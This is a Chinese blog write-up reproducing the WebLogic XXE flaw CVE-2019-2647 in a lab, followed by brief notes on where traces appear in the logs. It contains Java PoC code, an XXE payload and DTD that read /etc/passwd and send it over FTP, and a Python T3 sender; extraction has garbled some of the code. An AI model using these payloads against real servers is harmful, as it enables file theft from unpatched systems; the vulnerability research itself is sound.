Weblogic xxe漏洞复现及攻击痕迹分析(CVE-2019-2647)

来源:scanv2019.05.05

前言

Oracle发布了4月份的补丁,链接(https://www.oracle.com/technetwork/ security-advisory/cpuapr2019-5072813.html#AppendixFMW),其中涉及了 好几个严重的漏洞,此处只分析cve-2019-2647的xxe漏洞。本打算对比补丁 进行分析,但是,oracle的补丁是收费的,所以就只有通过别人关于补丁的 分析文章,从而理出漏洞的利用思路。

漏洞影响版本

10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0

复现环境

• Weblogic 12.2.1.3.0 • Ubuntu 18.04
• Intellij Idea
• JDK 1.8

复现过程

廖师傅给出的Poc只是单纯的逻辑实现,导入的各种包没有交代清楚,对于 小白来说还是要走很多弯路才能构造处能够利用的Poc,我这里就演示一下在 Idea中怎么构造这个Poc,让他能够运行起来。

1. 新建一个java工程,创建一个WeblogicXXE1类,内容如下

import weblogic.wsee.wstx.wsat.Transactional;
import java.lang.reflect.Field;
import javax.transaction.xa.Xid;
import javax.xml.transform.Result;
import javax.xml.transform.stream.StreamResult;
import javax.xml.ws.EndpointReference;
import java.io.*;
public class WeblogicXXE1 {
    public static void main(String[] args) throws IOException {
Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new File
        out.writeObject(instance);
        out.flush();
        out.close();

}

    public static class MyEndpointReference extends EndpointRefe
        @Override
        public void writeTo(Result result) {
            byte[] tmpbytes = new byte[4096];
            int nRead;
            try{
                InputStream is = new FileInputStream(new File(".
                while((nRead=is.read(tmpbytes,0,tmpbytes.length)
                    ((StreamResult)result).getOutputStream().wri
                }
            }catch (Exception e){
                e.printStackTrace();
            }

} }

    public static Object getXXEObject() {
        int klassVersion = 1032;
        Xid xid = new weblogic.transaction.internal.XidImpl();
        Transactional.Version v = Transactional.Version.DEFAULT;
        byte[] tid = new byte[]{65};
        weblogic.wsee.wstx.internal.ForeignRecoveryContext frc =
        try{
            Field f = frc.getClass().getDeclaredField("fxid");
            f.setAccessible(true);
            f.set(frc,xid);
            Field f1 = frc.getClass().getDeclaredField("epr");
            f1.setAccessible(true);
            f1.set(frc,(EndpointReference)new MyEndpointReferenc
            Field f2 = frc.getClass().getDeclaredField("version"
            f2.setAccessible(true);
            f2.set(frc,v);
        }catch(Exception e){
            e.printStackTrace();
        }

return frc; }

}

将上面的内容复制后,会发现很多包都找不到,这就需要往我们的工程中添
加相关的包了,具体操作方法为:
OutputStream("x

rence{

/test.xml"));
) != -1){
te(tmpbytes,0,n
 new weblogic.w

e()); );

x

R

s

File----Project Structure,就会出现下图的窗口

然后最左边这一栏选中Libraries,接下来就是添加外部包了,点击中间那一栏 上方的“+”号,然后选择java,然后选择相应路径就行了,在这里我们主要添 加三个路径下面的外部包。

• 安装目录下的wlserver/modules目录
• 安装目录下的oracle_common/modules目录 • 安装目录下的wlserver/server/lib目录

把这三个目录添加进来就可以解决包找不到的问题了。

Poc的构造以及漏洞分析已经有很人做过了,我这里就主要是补充一下细节 操作,以及漏洞复现。上面的Poc的作用就是序列化一个 ForeignRecoveryContext对象并输出到文件xxe中,这个对象中最关键的就 是test.xml这个文件,这个文件中的内容也就是我们的xxe的payload,内容如 下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
        <!ENTITY % file SYSTEM "file:///etc/passwd">
        <!ENTITY % dtd SYSTEM "http://127.0.0.1:9009/my.dtd">
        %dtd;
        ]>
<ANY>xxe</ANY>

my.dtd的内容如下

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'ftp://127.0.0.1:2121/%file;'>"
>
%all;
%send;

my.dtd放在我的http服务器上,现在当我们运行上述的Poc时,会在工程目录 下生成一个xxe文件,这个文件存放着序列化后的我们特意构造 ForeignRecoveryContext对象,现在万事具备,那么要怎么触发漏洞呢?很 简单,我们只要使用t3协议,把我们序列化后的payload发送过去,weblogic 会自动反序列化我们的payload,从而解析xml,从而触发漏洞,所以,我们还 需要一个使用t3协议发送数据的脚本,如下:

  #!/usr/bin/python
  import socket
  import sys
  import struct
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  server_address = (sys.argv[1], int(sys.argv[2]))
  print 'connecting to %s port %s' % server_address
  sock.connect(server_address)
  # Send headers
  headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
  print 'sending "%s"' % headers
  sock.sendall(headers)
  data = sock.recv(1024)
  print >>sys.stderr, 'received "%s"' % data
  payloadObj = open(sys.argv[3],'rb').read()
  payload='\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x
  payload=payload+payloadObj
  payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x
  # adjust header for appropriate message length
  payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])
  print 'sending payload...'
  sock.send(payload)

0 6

脚本的使用也很简单

python 脚本名 目标ip 目标端口 本地序列化后的payload文件路径 接下来我利用SimpleHTTPServer与pyftpdlib分别构造一个简单的http server

与ftp server。

然后我们运行t3协议脚本
python weblogic-t3.py 127.0.0.1 7001 /data/JavaProjects/test/xxe

可见,我们的payload已经发送过去了,此时ftp server这边也收到数据了

我这里通过ftp读取的数据并不完整,可能是因为jdk版本的原因,我看其他文

python -m SimpleHTTPServer 9009
python -m pyftpdlib 2121

章都是完整读取了的,而且这里读取的数据看起来很奇怪,是因为ftp协议如 果遇到“/”这个符号,就会再次发送CWD命令。

痕迹分析

这次的攻击不需要访问web,只需要发送t3协议就可以攻击成功,如果在这 个攻击过程中不出现差错是捕获不到痕迹的,但是一旦出错就可以在日志中 查询到蛛丝马迹
日志路径如下:

 user_projects/domains/base_domain/servers/AdminServer/logs

在以你的私域为名的日志中(例如我的域名叫做base_domain,这也是默认的 域名,所以在日志base_admin.logxxx中)可以看到

 

热门文章

关注知道创宇云安全

获取安全动态